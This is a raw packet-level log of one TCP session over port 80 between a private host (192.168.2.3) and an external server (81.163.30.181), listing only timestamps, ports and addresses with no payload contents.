Jan 14, 2022 20:23:51.671672106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671710014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671749115 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671757936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671787024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671794891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671828032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671869040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671907902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671915054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671947002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.671947956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.671986103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672024012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672061920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672066927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672101021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672106028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672141075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672182083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672204971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672221899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672261953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672290087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672302008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672339916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672347069 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672379017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672420025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672434092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672460079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672499895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672524929 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672540903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672581911 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672596931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672621965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672660112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672683954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672698021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672739983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672765017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672780037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672820091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672857046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672863960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672895908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672898054 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.672936916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.672975063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673012972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673017025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673051119 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673053980 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673090935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673131943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673167944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673176050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673207045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673209906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673247099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673285961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673325062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673331976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673362970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673365116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673403025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673443079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673479080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673486948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673518896 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673518896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673559904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673597097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673635960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673643112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673676014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673676968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673717022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673757076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673793077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673800945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673831940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673840046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.673897028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673938990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673975945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.673981905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.674015045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.674017906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.674053907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.674093008 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.674137115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.692600965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.692656994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.692733049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.703160048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.726459026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726510048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726545095 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.726548910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726583004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726614952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726646900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726695061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.726710081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726739883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.726751089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726782084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726810932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726841927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726881981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726912975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726923943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.726943016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.726959944 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.731075048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731127977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731159925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731189013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731219053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731249094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731280088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731308937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731339931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731379986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731409073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731411934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.731441021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731472969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731503963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731533051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731564045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731594086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731625080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731653929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731683969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731714010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731743097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731771946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731801987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731832027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731872082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731900930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731916904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.731931925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731962919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.731992960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732022047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732052088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732080936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732110977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732140064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732171059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732201099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732230902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732259989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732270002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.732289076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732319117 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732348919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732378960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732409000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732439041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732469082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732497931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732527018 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732556105 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732585907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732614994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732645035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732675076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732705116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732733965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732763052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732817888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732893944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732923985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732953072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.732984066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733014107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733031988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733045101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733073950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733104944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733135939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733211994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733242989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733292103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733299017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733331919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733338118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733372927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733391047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733414888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733453035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733493090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733508110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733532906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733546972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733572960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733613014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733650923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733665943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733694077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733700037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733732939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733769894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733808994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.733824968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.733875036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.742816925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.749686003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.749739885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.749784946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.749836922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.769469023 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784163952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784229040 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784271002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784296036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784312010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784338951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784419060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784461975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784502983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784509897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784543991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784553051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784584045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784624100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784662962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784676075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784701109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.784728050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.784740925 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.785136938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.791620970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791667938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791698933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791728020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791754961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.791769981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791810989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791826963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.791851997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791891098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791932106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.791944027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.791960001 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.791990042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792045116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792059898 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792102098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792157888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792210102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792212009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792256117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792264938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792325974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792367935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792407036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792414904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792447090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792457104 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792488098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792586088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792624950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792654037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792685032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792715073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792731047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792754889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792783976 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792793036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792824030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792854071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792886019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792924881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792936087 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792963982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.792965889 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.792994976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793026924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793034077 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793057919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793087006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793119907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793149948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793179989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793209076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793225050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793240070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793271065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793303013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793335915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793344021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793384075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793414116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793430090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793452978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793483973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793514013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793539047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793553114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793584108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793616056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793642044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793653011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793684959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793705940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793725014 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793725014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793766022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793796062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793809891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793833971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793916941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793936968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.793962002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.793999910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794039011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794068098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794100046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794128895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794154882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794167995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794209957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794248104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794254065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794290066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794291973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794329882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794369936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794369936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794411898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794450045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794488907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.794491053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.794528008 CET	80	49866	81.163.30.181	192.168.2.3
